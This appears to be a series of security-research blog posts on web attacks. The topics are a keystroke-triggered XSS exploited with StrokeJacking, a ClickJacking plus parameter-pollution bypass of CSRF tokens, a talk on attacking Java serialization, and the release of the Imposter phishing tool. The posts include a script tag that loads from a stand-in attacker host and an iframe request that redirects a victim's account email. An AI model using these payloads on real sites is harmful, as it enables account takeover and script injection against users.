I will explain why. In this specific case there is an event handler assigned to the Input box’s ‘KeyUp’ event. This event handler takes the contents of the input box and sets it as the ‘Nominate’ button element’s content using the ‘html()’ function of JQuery without any encoding or validation. If I enter HTML inside the input box then it is added to the DOM of the page and is rendered by the browser. Since this XSS can only be triggered by the keystrokes of the victim, ‘Stroke triggered Cross-site Scripting‘ would be a suitable name for it I think.

The vulnerable JavaScript snippet is below:
jQuery(function($){
$('#site_url').focus().keyup(function(event) {
var input_text = $(event.target).val();
//removed for clarity
$('#nomination_submit').html('Nominate <strong>' + input_text + '</strong>');
});

All of this sounds good but how on earth do you convince your victim to type in ‘<script src=attacker.site/evil.js>’ in to this box. Realistically speaking it is easier than you might think because I have myself happily copy-pasted JavaScript in to my browser’s address bar because someone on Orkut said it would do cool things. Ofcourse that was many many years back before I even knew what JavaScript was. Though an evil attacker can social engineer simple folks like the old me to key in the payload, it might not look very convincing to others.

Pondering over a possible technique to make the attack look legit I remembered the ‘StrokeJacking’ POC posted by Michal Zalewski a few weeks back. Like ClickJacking, StrokeJacking also makes use of UI redressing to trick the user but instead of Clicks it hijacks the keystrokes of the victim, very clever technique. The POC asks the victim to type in a harmless looking string while in reality the string is a mix of characters that the attacker is interested in along with other insignificant characters.

There is an input box in the attacker’s website where this string is to be typed and this page also contains a hidden ‘iframe’ which loads the target site. As the victim types the string in to the input box there is an event handler which monitors every character entered, if the victim types in one of the characters the attacker is interested in then it passes the focus to the hidden iframe. So this character is actually typed in to the active input box of the iframe, immediately the focus is bought back to the attacker’s input box. By doing this repeatedly the attacker can con the victims in to typing something inside the target website without them even knowing what and where they have typed.

StrokeJacking is the perfect technique to exploit ‘Stroke triggered XSS’ and I have made a simple POC to prove this point. The page vulnerable to Stroke triggered XSS is hosted at ‘andlabs.net’. The page from which StrokeJacking will be performed is located at ‘andlabs.org’, this is done to show that this is a cross-domain attack.

The success with the POC depends on your typing style because the method that I am using to capture the special characters ‘<’ and ‘:’ from the victim depends on the victim’s typing speed and style. If you press the ‘shift’ key and take more the 500ms searching for the ‘<’ or ‘:’ key then this technique does not catch them. I am betting on the fact that most people take lesser that. Also once you enter the either of the special characters give a brief pause of about a second before keying in the next character. It works on FireFox, Chrome, Safari and Iron. All suggestions for a better method to do this are most welcome.

I reported this vulnerability late last week to the developers of rubyheros.com but it still remains unfixed. They responded promptly but remain convinced that this is an unexploitable vulnerability. Hopefully this post will change such perceptions. A video of exploiting the original vulnerability similar to the one shared with the vendors is available here.

New technique to be released for Attacking JAVA Serialized Communication at Black Hat Europe 2010

Hey guys, this year Black Hat Europe is happening at Barcelona, Spain and I will be presenting there for the first time. The topic that I'm speaking on is "Attacking JAVA Serialized Communication". You can read the abstract here. There is an interesting aspect behind this topic. To give you a short background, I usually conduct trainings on Secure Code Development for JAVA developers and Security Testing for QA testers. During one of the lectures, while I was explaining parameter tampering on web applications using interception proxies, one of the developers asked me how I can accomplish the same on thick clients which normally transfer data as serialized objects. At that moment, I could only show how to modify hex bytes for simple strings. But then he started arguing that usually in large enterprise applications the variables themselves are complex objects and not simple strings.

I was stumped. I did not have a clear-cut solution (though I knew it is possible) to explain to him that this can be done. I started searching the internet for articles explaining this, but couldn't find anything conclusive enough. I have been working on this since December last year and finally perfected the concept and wrote a plug-in for BurpSuite as a PoC to explain how easy it is. I would like to thank Eric and Shay for some wonderful work they have done which has helped me in achieving this goal.

At Black Hat I will be explaining how this can be achieved and what are the various problems currently faced by pentesters while testing applications using serialized communication. If you are visiting Black Hat this year at Barcelona, I would be happy to meet you and share some thoughts on similar topics. Looking forward to socializing with some great people there and gaining some new insights on current security trends.

Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution

This idea occurred to me a few weeks back when discussing the potential impact of ClickJacking attacks with Luca. Submitting forms using ClickJacking is hard work and is only successful in very rare scenarios. The Twitter ClickJacking attack was one famous instance where form submission was involved, but it was a form that was submitted over ‘GET’ request.

In this post I will discuss a technique that can be used to bypassing any CSRF counter measures and submit POST method -based forms with attacker controlled data using ClickJacking. This works on JSP applications and partially on ASP.NET applications.

Let us take the case of a simple primary Email ID update form. Such forms are common in many web applications. They are simple but extremely important, if an attacker manages to force a victim to update his primary Email ID with that of the attacker’s ID then the attacker can perform a password reset and compromise the victim’s account.

A sample Email ID update form is given below, this contains a ‘csrf-token’ parameter for CSRF protection:

<form method="POST">
<input type="text" name="email" value=””></input>
<input type="hidden" name=”csrf-token” value="a0a0a0a0a0a"/>
</form>

Let’s say this form is available at 'www.example.com/updateEmail.jsp'
Since this form does not contain an ‘action’ attribute, on submission the form will be submitted to the current URL in the address bar, which will be ‘www.example.com/updateEmail.jsp’.

The source code of 'updateEmail.jsp' would typically look like this:

if ( request.parameter("email").isSet() && request.parameter("csrf-token").isValid() )
{
//process the form and update the email ID
}
else
{
//display an empty form to the user (CSRF token included)
}

The application checks if the request contains a valid CSRF token, if not it displays the form to the user.

Now to submit our sample form using ClickJacking the attacker can include an iframe like this
'<iframe src=”http://www.example.com/updateEmail.jsp?email=evil@attackermail.com”>'

When this request goes to the server the application would display the update form. When this form is submitted by the victim using ClickJacking the request that is sent to the server is like this:

POST /updateEmail.jsp?email=evil@attackermail.com HTTP/1.1
Host: www.example.com

email=&csrf-token=a0a0a0a0a0

Since the form was not filled by the victim, the email parameter in the POST body is blank. However since the action attribute of the form was empty the form is submitted to www.example.com/updateEmail.jsp?email=evil@attackermail.com. Now the QueryString contains the attacker entered value for the ‘email’ parameter.

This request contains two values for the ‘email’ parameter, one in POST body and one in QueryString. Enter HTTP Parameter Pollution, when the server side JSP code calls request.parameter("email"), the value that is returned is the one in the QueryString and not the POST body. Since this value can be controlled by the attacker he can trick the victim in to updating his account with the attacker’s mail ID.

This attack can also work in cases when the form is submitted with JavaScript like this:

<form onSubmit=process()>
<input type="text" name="email" value=""></input>
<input type="hidden" name="csrf-token" value="a0a0a0a0a0a">
</form>

<script>
function process()
{
//check if email is set
form.action = document.location; //document.location will give out the entire URL with parameters
form.method = "post";
form.submit();
}
</script>

Apart from JSP applications, this attack can be extended to ASP.NET applications as well.
However since ASP.NET appends a ‘,’(comma) between duplicate parameters, it not as clean. But there are plenty of areas where having a trailing ‘,’ won’t hurt. In ASP.NET applications the form action is always set by the framework because of the 'runat="server"' attribute. The only requirement now is that the application should make use of Request.Params. Even if the application does not use Request.Params, forms submitted over 'GET' are still vulnerable. So all ASP.NET application using Request.Params or submitting forms over 'GET' are vulnerable to this attack!

Similar attack is also possible on ASP applications where the form element is of the form described earlier and if it is submitted over 'GET'. Like ASP.NET application a trailing comma is introduced here as well. A more detailed description of HTTP Parameter Pollution on ASP and ASP.NET applications and the significance of Request.Params is explained here. This whitepaper discusses how HPP can be used to bypass WAF.

Imposter and Whitepapers released

This is it folks! Finally Imposter is available for download. I have put up a short tutorial on how to use it along with some videos of the attacks.
I am also releasing two white papers:
Flash+IE=Prison Break – Explains the File Stealing attack against Internet Explorer in detail.
Google Gears for Attackers – Explains the different browser phishing attacks that can be performed against user of Google Gears.
Source code of the File Stealing exploit is also online for the sake of the more curious amongst us.
Would love to hear your feedback on the tool and the papers.

The Goan NullCon Hangover

Just back from NullCon 2010 which happened in Goa. Can’t say which was better the conference or the beaches. It was a very relaxed affair with plenty of familiar faces. My talk was on Imposter, the idea was to explain how it works and what its various features are and also announce the public release of the tool. But my talk had to be cut short because the Gears database stealing attack didn’t work onstage. Not wanting to miss out this part I decided to go backstage and fix the bug and then continue my talk later in the day. Turned out that some insignificant change that I made in code before the talk broke the Gears stealing feature, never expected that. Got it fixed in about 15 minutes but unfortunately I could not continue with my talk, the other talks were already running late and there was no slot available. I was disappointed but hey, atleast I announced the release of the tool. Coming to the other talks, there was a very interesting talk from Veysel Ozer, it was on how the update feature of softwares can be comprised by an attacker. I had read about this attack in the past but it was really interesting to see it in action. He has discovered vulnerabilities in the update feature of different software and has extended karmetasploit with exploits to attack these vulnerable software. Interestingly he also spoke about instances where he was not successful in compromising the update feature and explained why. I met him backstage, showed him a demo of Imposter and explained how the attack modules from Imposter can fit in to Karmetasploit and how his update attack can fit in to Imposter. He liked the idea, so we exchanged code. Hopefully he will find time to build this in to Karmetasploit, that must be pretty cool. Until then Imposter remains the best browser phishing tool ;)